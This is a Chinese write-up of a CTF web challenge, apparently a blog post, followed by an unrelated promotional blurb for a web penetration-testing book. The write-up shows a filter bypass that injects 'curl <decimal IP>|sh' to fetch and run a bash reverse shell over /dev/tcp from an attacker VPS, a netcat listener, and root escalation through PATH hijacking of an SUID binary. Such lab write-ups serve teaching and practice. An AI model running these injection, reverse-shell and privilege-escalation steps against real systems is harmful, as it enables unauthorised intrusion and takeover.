BMZCTF WEB WEB_penetration

在这里插入图片描述
打开网页:
在这里插入图片描述
发现过滤了很多字母和字符:

b,d,e,-,q,f,g,i,p,j,+,k,m,n,<,>,o,w,x,~,:,^,@,&,,%,",*,(,),!,=,.,[,],},{,_);

致使我们好多命令都无法操作。最后观察至curl没有被过滤。
我们就可以设置好VPS,使用VPS反弹shell
在这里插入图片描述
设置VPS的首页为:

bash -c "bash -i >& /dev/tcp/IP地址/5555 0>&1"

在VPS上打开web服务,如果没有apache或其他中间件,可以使用python:
python2:

python -m SimpleHTTPServer 80

python3:

python -m http.server 80

然后在vps上再打开一个终端,监听5555端口:

nc -lvnp 5555

假设我们的VPS的IP地址为123.123.123.123,因为页面过滤了.,我们无法直接输入IP地址,而且长度也会超过18个。
因此,我们要将IP地址进行转换:
百度搜索下IP 十进制随便点开一个就可以:

我们就能看到十进制的IP地址为:2071690107
我们在页面输入:?ip=curl 2071690107|sh
在这里插入图片描述
就能在我们的VPS上看到反弹的shell了
在这里插入图片描述
查看id
在这里插入图片描述
发现是个低权限用户:www-data
搜索flag

find / -name flag

没有找到。home目录下也没有用户名:
在这里插入图片描述
那么flag只能存在于/root目录下,因为我们没权限,所以无法搜索到。
我们要提权到root
先找下suid:

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
发现了一个奇怪的程序:love
运行下:
在这里插入图片描述
返回了结果。不用任何输入。
我们将其下载,并用ida进行逆向:
在这里插入图片描述
发现love是运行了ps程序,特点有两个:
1、会将uid设为0,也就是root
2、ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限(其他可写目录也可以)

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #设置可读可写可执行权限
$PATH                   #查看环境变量
export PATH=/tmp:$PATH   #将/tmp加入环境变量,并放在第一个位置

然后我们运行love,发现是root权限了
在这里插入图片描述
现在我们就能读取flag

cat /root/flag

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Key Features This book covers the latest technologies such as Advance XSS, XSRF, SQL Injection, Web API testing, XML attack vectors, OAuth 2.0 Security, and more involved in today's web applications Penetrate and secure your web application using various techniques Get this comprehensive reference guide that provides advanced tricks and tools of the trade for seasoned penetration testers Book Description Web penetration testing is a growing, fast-moving, and absolutely critical field in information security. This book executes modern web application attacks and utilises cutting-edge hacking techniques with an enhanced knowledge of web application security. We will cover web hacking techniques so you can explore the attack vectors during penetration tests. The book encompasses the latest technologies such as OAuth 2.0, Web API testing methodologies and XML vectors used by hackers. Some lesser discussed attack vectors such as RPO (relative path overwrite), DOM clobbering, PHP Object Injection and etc. has been covered in this book. We'll explain various old school techniques in depth such as XSS, CSRF, SQL Injection through the ever-dependable SQLMap and reconnaissance. Websites nowadays provide APIs to allow integration with third party applications, thereby exposing a lot of attack surface, we cover testing of these APIs using real-life examples. This pragmatic guide will be a great benefit and will help you prepare fully secure applications. What you will learn Get to know the new and less-publicized techniques such PHP Object Injection and XML-based vectors Work with different security tools to automate most of the redundant tasks See different kinds of newly-designed security headers and how they help to provide security Exploit and detect different kinds of XSS vulnerabilities Protect your web application using filtering mechanisms Understand old school and classic web hacking in depth using SQL Injection, XSS, and CSRF Grasp XML-related vulnerabilities and attack vectors such as XXE and DoS techniques Get to know how to test REST APIs to discover security issues in them About the Author Prakhar Prasad is a web application security researcher and penetration tester from India. He has been a successful participant in various bug bounty programs and has discovered security flaws on websites such as Google, Facebook, Twitter, PayPal, Slack, and many more. He secured the tenth position worldwide in the year 2014 at HackerOne's platform. He is OSCP and OSWP certified, which are some of the most widely respected certifications in the information security industry. He occasionally performs training and security assessment for various government, non-government, and educational organizations. Table of Contents Chapter 1: Common Security Protocols Chapter 2: Information Gathering Chapter 3: Cross-Site Scripting Chapter 4: Cross-Site Request Forgery Chapter 5: Exploiting SQL Injection Chapter 6: File Upload Vulnerabilities Chapter 7: Metasploit and Web Chapter 8: XML Attacks Chapter 9: Emerging Attack Vectors Chapter 10: OAuth 2.0 Security Chapter 11: API Testing Methodology
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值